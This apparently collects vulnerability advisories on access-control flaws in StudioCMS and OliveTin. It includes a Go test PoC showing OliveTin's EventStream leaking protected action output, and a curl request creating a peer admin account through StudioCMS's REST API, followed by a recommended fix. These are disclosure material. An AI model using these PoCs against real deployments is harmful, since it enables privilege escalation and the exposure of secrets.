StudioCMS Authorization and Access Control

High severity vulnerability in StudioCMS. The S3 storage manager's `isAuthorized()` function is declared `async` (returns `Promise<boolean>`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename...

Medium severity vulnerability in StudioCMS. The POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/d...

### Summary OliveTin’s live EventStream broadcasts execution events and action output to authenticated dashboard subscribers without enforcing per-action authorization. A low-privileged authenticated user can receive output from actions they are not allowed to view, resulting in broken access control and sensitive information disclosure. I validated this on OliveTin 3000.10.2. ### Details The issue is in the live event streaming path. EventStream() only checks whether the caller may access the dashboard, then registers the user as a stream subscriber: - service/internal/api/api.go:776 After subscription, execution events are broadcast to all connected clients without checking whether each recipient is authorized to view logs for the action: - service/internal/api/api.go:846 OnExecutionStarted - service/internal/api/api.go:869 OnExecutionFinished - service/internal/api/api.go:1047 OnOutputChunk The event payload includes action output through: - service/internal/api/api.go:295 internalLogEntryToPb - service/internal/api/api.go:302 Output By contrast, the normal log APIs do apply per-action authorization checks: - service/internal/api/api.go:518 GetLogs - service/internal/api/api.go:585 GetActionLogs - service/internal/api/api.go:544 isLogEntryAllowed Root cause: - the subscription path enforces only coarse dashboard access - execution callbacks broadcast to every connected client - no per-recipient ACL check is applied before sending action metadata or output I validated the issue using: - an admin user with full ACLs - an alice user with no ACLs - a protected action that outputs TOPSECRET=alpha-bravo-charlie Despite having no relevant ACLs, alice still receives the ExecutionFinished event for the privileged action, including the protected output. ### PoC Tested version: ``` - 3000.10.2 ``` 1. Fetch and check out 3000.10.2 in a clean worktree: ```bash git -C OliveTin fetch origin tag 3000.10.2 git -C OliveTin worktree add /home/kali/CVE/OliveTin-3000.10.2 3000.10.2 ``` 2. Copy the PoC test into the clean tree: ```bash cp OliveTin/service/internal/api/event_stream_leak_test.go \ OliveTin-3000.10.2/service/internal/api/ ``` 3. Run the targeted PoC test: ```bash cd OliveTin-3000.10.2/service go test ./internal/api -run TestEventStreamLeaksUnauthorizedExecutionOutput -count=1 -timeout 30s -v ``` 4. Optional: save validation output: ```bash go test ./internal/api -run TestEventStreamLeaksUnauthorizedExecutionOutput -count=1 -timeout 30s -v \ 2>&1 | tee /tmp/olivetin_eventstream_3000.10.2.log ``` Observed validation output: ```bash === RUN TestEventStreamLeaksUnauthorizedExecutionOutput time="2026-03-01T04:44:59-05:00" level=info msg="Action requested" actionTitle=secret-action tags="[]" time="2026-03-01T04:44:59-05:00" level=info msg="Action parse args - Before" actionTitle=secret-action cmd="echo 'TOPSECRET=alpha-bravo-charlie'" time="2026-03-01T04:44:59-05:00" level=info msg="Action parse args - After" actionTitle=secret-action cmd="echo 'TOPSECRET=alpha-bravo-charlie'" time="2026-03-01T04:44:59-05:00" level=info msg="Action started" actionTitle=secret-action timeout=1 time="2026-03-01T04:44:59-05:00" level=info msg="Action finished" actionTitle=secret-action exit=0 outputLength=30 timedOut=false --- PASS: TestEventStreamLeaksUnauthorizedExecutionOutput (0.00s) PASS ok github.com/OliveTin/OliveTin/internal/api 0.025s ``` What this proves: - admin can execute the protected action - alice has no ACLs - alice still receives the streamed completion event for the protected action - protected action output is exposed through the event stream ### Impact This is an authenticated broken access control / information disclosure vulnerability. A low-privileged authenticated user can subscribe to EventStream and receive: - action execution metadata - execution tracking IDs - initiating username - live output chunks - final command output Who is impacted: - multi-user OliveTin deployments - environments where privileged actions produce secrets, tokens, internal system details, or other sensitive operational output - deployments where lower-privileged authenticated users can access the dashboard and subscribe to live events This bypasses intended per-action log/view restrictions for protected actions.

A security vulnerability in StudioCMS (CVSS 5.4). Remediation should follow standard vulnerability management procedures.

## Summary The REST API `createUser` endpoint uses string-based rank checks that only block creating `owner` accounts, while the Dashboard API uses `indexOf`-based rank comparison that prevents creating users at or above your own rank. This inconsistency allows an admin to create additional admin accounts via the REST API, enabling privilege proliferation and persistence. ## Details The REST API handler in `packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts:1365-1378`: ```typescript // REST API - only blocks creating 'owner' if (newUserRank === 'owner' && rank !== 'owner') { return yield* new RestAPIError({ error: 'Unauthorized to create user with owner rank', }); } if (rank === 'admin' && newUserRank === 'owner') { return yield* new RestAPIError({ error: 'Unauthorized to create user with owner rank', }); } // Missing: no check preventing admin from creating admin // newUserRank='admin' passes all checks ``` The Dashboard API handler in `_handlers/dashboard/create.ts` uses the correct approach: ```typescript // Dashboard API - blocks creating users at or above own rank const callerPerm = availablePermissionRanks.indexOf(userData.permissionLevel); const targetPerm = availablePermissionRanks.indexOf(rank); if (targetPerm >= callerPerm) { return yield* new DashboardAPIError({ error: 'Unauthorized: insufficient permissions to assign target rank', }); } ``` With `availablePermissionRanks = ['unknown', 'visitor', 'editor', 'admin', 'owner']`: - Admin (index 3) creating admin (index 3): `3 >= 3` = blocked in Dashboard - In REST API: no such check - allowed ## PoC ```bash # 1. Use an admin-level API token # 2. Create a new admin user via REST API curl -X POST 'http://localhost:4321/studiocms_api/rest/v1/secure/users' \ -H 'Authorization: Bearer <admin-api-token>' \ -H 'Content-Type: application/json' \ -d '{ "username": "rogue_admin", "email": "rogue@attacker.com", "displayname": "Rogue Admin", "rank": "admin", "password": "StrongP@ssw0rd123" }' # Expected: 403 Forbidden (admin should not create peer admin accounts) # Actual: 200 with new admin user created ``` ## Impact - A compromised or rogue admin can create additional admin accounts as persistence mechanisms that survive password resets or token revocations - Inconsistent security model between Dashboard API and REST API creates confusion about intended authorization boundaries - Note: requires admin access (PR:H), which limits practical severity ## Recommended Fix Replace string-based checks with `indexOf` comparison in `packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`: ```typescript // Before: if (newUserRank === 'owner' && rank !== 'owner') { ... } if (rank === 'admin' && newUserRank === 'owner') { ... } // After: const availablePermissionRanks = ['unknown', 'visitor', 'editor', 'admin', 'owner']; const callerPerm = availablePermissionRanks.indexOf(rank); const targetPerm = availablePermissionRanks.indexOf(newUserRank); if (targetPerm >= callerPerm) { return yield* new RestAPIError({ error: 'Unauthorized: insufficient permissions to assign target rank', }); } ```